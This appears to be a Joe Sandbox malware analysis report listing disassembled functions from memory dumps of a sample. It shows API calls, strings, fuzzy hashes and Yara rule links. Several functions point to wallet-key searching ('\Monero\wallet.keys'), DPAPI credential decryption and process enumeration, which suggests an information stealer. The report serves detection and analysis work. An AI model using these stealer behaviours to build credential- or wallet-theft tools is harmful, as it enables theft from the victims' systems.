Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F{:=$de\$hC>s$i$_$sfoM$sfoM$xF1u
API String ID: 0-1316170999
Opcode ID: a3b7547ab521d4792f676162bcf3f4cb5525b1b3c57bef7c4b8d08593d0c777c
Instruction ID: ab053a0bca62060d9e15e83c6d1adfb14ece745b8104dea6664acc1ea2d5b90c
Opcode Fuzzy Hash: a3b7547ab521d4792f676162bcf3f4cb5525b1b3c57bef7c4b8d08593d0c777c
Instruction Fuzzy Hash: C0B2E4F360C200AFE704AE2DEC8567ABBE5EF94720F16892DE6C4C7744EA3558418797

Function 003BE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003D0D73), ref: 003BE4A2
StrCmpCA.SHLWAPI(?,003D14F8), ref: 003BE4F2
StrCmpCA.SHLWAPI(?,003D14FC), ref: 003BE508
FindNextFileA.KERNEL32(000000FF,?), ref: 003BEBDF

Strings

\*.*, xrefs: 003BE44D

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 5463269557e8bc0ea8c69c04cee98bbc8f54d0a7a486fe20a4f8bd6155537c53
Instruction ID: cae9fdf192c7f3fac64f1f8c94414325effafbf5df59591fd10dfd917382d9fc
Opcode Fuzzy Hash: 5463269557e8bc0ea8c69c04cee98bbc8f54d0a7a486fe20a4f8bd6155537c53
Instruction Fuzzy Hash: AC124C7290061C9BDB1AFB60DC96FED7378AF54304F4041ADA50ADA191EF346F49CBA2

Function 0077B51E Relevance: 9.2, Strings: 6, Instructions: 1682COMMON

Download Yara Rule

Strings

fAU], xrefs: 0077BDA1
2+k, xrefs: 0077C16D
\}7, xrefs: 0077BBFC
sz, xrefs: 0077C17E
MF1m, xrefs: 0077BDD1
`c, xrefs: 0077BBE7

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2+k$MF1m$\}7$`c$fAU]$sz
API String ID: 0-1251302725
Opcode ID: b114735b526981fdf5099c641638c92c007e1554f885b2a231cfd0d34bfac973
Instruction ID: 2b989d5a47f671d4aa16027000a1de1002fa3e50497738b769fca5955c6ce5c5
Opcode Fuzzy Hash: b114735b526981fdf5099c641638c92c007e1554f885b2a231cfd0d34bfac973
Instruction Fuzzy Hash: 4AB25BF360C204AFE3046E2DEC8577AFBD9EF94220F1A453DEAC5D3744EA3598058696

Function 003B9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

Strings

N;, xrefs: 003B9AD4, 003B9AE1, 003B9AF9, 003B9B18, 003B9AE4, 003B9B1B

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N;
API String ID: 4291131564-1002446643
Opcode ID: b0294fdd27bebf49439c40c05f689623e5bb39f827b5152a9bab11e3b2faf213
Instruction ID: 93ea7029b0fedafe253c75bf2e29026be616577140272f261b31caf22be047ee
Opcode Fuzzy Hash: b0294fdd27bebf49439c40c05f689623e5bb39f827b5152a9bab11e3b2faf213
Instruction Fuzzy Hash: EE11AFB4240308EFEB10CF64DC95FAA77B5FB89704F208059FA199B390C7B6A901DB91

Function 003BC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 003BC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 003BC87C
lstrcat.KERNEL32(?,003D0B46), ref: 003BC943
lstrcat.KERNEL32(?,003D0B47), ref: 003BC957
lstrcat.KERNEL32(?,003D0B4E), ref: 003BC978

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: a22307d8a4994be6895592253d016eec1a35c4ce24c6021dda1c231b2e325bc1
Instruction ID: 19b463ccca9eb01b02e371e896b6914685e142726e512cd7d513208c31ab0115
Opcode Fuzzy Hash: a22307d8a4994be6895592253d016eec1a35c4ce24c6021dda1c231b2e325bc1
Instruction Fuzzy Hash: 484184B5D14219DFDB10DFA0DC84BFEB7B8BB48704F1045A9E509E6280D7749A84DF92

Function 003C6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 003C696C
sscanf.NTDLL ref: 003C6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003C69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003C69C0
ExitProcess.KERNEL32 ref: 003C69DA

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ac216c0b4e59a73d36cf6312bf1f61f05a167422172e41d5c128fb3d37db00fb
Instruction ID: 3e3166f1be83cf63d12d0a943f16e6e5b5e4db1bbadbc4c54f34334badb515a0
Opcode Fuzzy Hash: ac216c0b4e59a73d36cf6312bf1f61f05a167422172e41d5c128fb3d37db00fb
Instruction Fuzzy Hash: 5321BAB5D14208ABCF05EFE4D945EEEB7B5BF58300F04852EE40AE3250EB745609DBA6

Function 003B7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 003B724D
RtlAllocateHeap.NTDLL(00000000), ref: 003B7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 003B7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003B72A4
LocalFree.KERNEL32(?), ref: 003B72AE

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: b5a1342ac4747e14881cf220eeae5fc8223c4974fd82d33b277313065604771e
Instruction ID: 7b0344d177731566c31b410a3b4cf4363b15ab9ef9c4f30f4222abd0fcd7c18a
Opcode Fuzzy Hash: b5a1342ac4747e14881cf220eeae5fc8223c4974fd82d33b277313065604771e
Instruction Fuzzy Hash: 620152B5A40208BBEB14DFE4CD49FAD7778EB44B04F104455FB09EB2C0C6B4AA04DB66

Function 003C9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003C961E
Process32First.KERNEL32(003D0ACA,00000128), ref: 003C9632
Process32Next.KERNEL32(003D0ACA,00000128), ref: 003C9647
StrCmpCA.SHLWAPI(?,00000000), ref: 003C965C
CloseHandle.KERNEL32(003D0ACA), ref: 003C967A

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d421f4625f9ebf5b5b412f00118d855793a9ba9e59c7bd52ce87995e3f680fd7
Instruction ID: 2287f26e9c57474498a25ce06033287e39e502ad89ce26b2fb82101aa2c18adf
Opcode Fuzzy Hash: d421f4625f9ebf5b5b412f00118d855793a9ba9e59c7bd52ce87995e3f680fd7
Instruction Fuzzy Hash: 160129B5A00208ABCB11DFA5CC48FEDB7F8EB18350F004189A909D7280D774AE54DF52

Function 00780536 Relevance: 6.6, Strings: 4, Instructions: 1596COMMON

Download Yara Rule

Strings

pzw~, xrefs: 00780ADF
/Mz=, xrefs: 00780C19
H0=~, xrefs: 0078136C
V, xrefs: 00780BA6

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /Mz=$H0=~$pzw~$V
API String ID: 0-2595791368
Opcode ID: 589b8f1234094e8552a2a14841b8df06779cd5a9f1a78def43ab78ba4c85fda4
Instruction ID: 10a16b26ebf16f156d1f276ef54473b88d1f9471030d63da96bfb8996334ea7c
Opcode Fuzzy Hash: 589b8f1234094e8552a2a14841b8df06779cd5a9f1a78def43ab78ba4c85fda4
Instruction Fuzzy Hash: 3CB2D3F36086009FE3046E2DEC8567ABBE9EF94720F1A493DEAC4C7744E63598458793

Function 003C8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,003B5184,40000001,00000000,00000000,?,003B5184), ref: 003C8EC0

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5df83ece443cdcf1ba8012e2d24e82cac3a8121cc01b4af6f2a0b78490204729
Instruction ID: 45874cb25dfa6948ca599de24d5eb8488e7d7696a26d1e11297adf3d7869b699
Opcode Fuzzy Hash: 5df83ece443cdcf1ba8012e2d24e82cac3a8121cc01b4af6f2a0b78490204729
Instruction Fuzzy Hash: 9D11F2B0200208AFDB01CF64E884FAA37A9AF89354F10945CF919CB250DB75EE41EB61

Function 003C7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0108E398,00000000,?,003D0E10,00000000,?,00000000,00000000), ref: 003C7A63
RtlAllocateHeap.NTDLL(00000000), ref: 003C7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0108E398,00000000,?,003D0E10,00000000,?,00000000,00000000,?), ref: 003C7A7D
wsprintfA.USER32 ref: 003C7AB7

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 01f959b6c8faf8de0bf67fbf4225dc58baf8eb8aded2842216fe98908545cae4
Instruction ID: 26909fb9923104ca2eae302bf0679f1fb2c6c100bfc5999f162ecff1e5d280c1
Opcode Fuzzy Hash: 01f959b6c8faf8de0bf67fbf4225dc58baf8eb8aded2842216fe98908545cae4
Instruction Fuzzy Hash: DB115EB1D45218EBEB209B54DC49FA9B778FB04761F10439AE91AD32C0D7785E44CF52

Function 003C3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(003CE118,00000000,00000001,003CE108,00000000), ref: 003C3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003C37B0

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
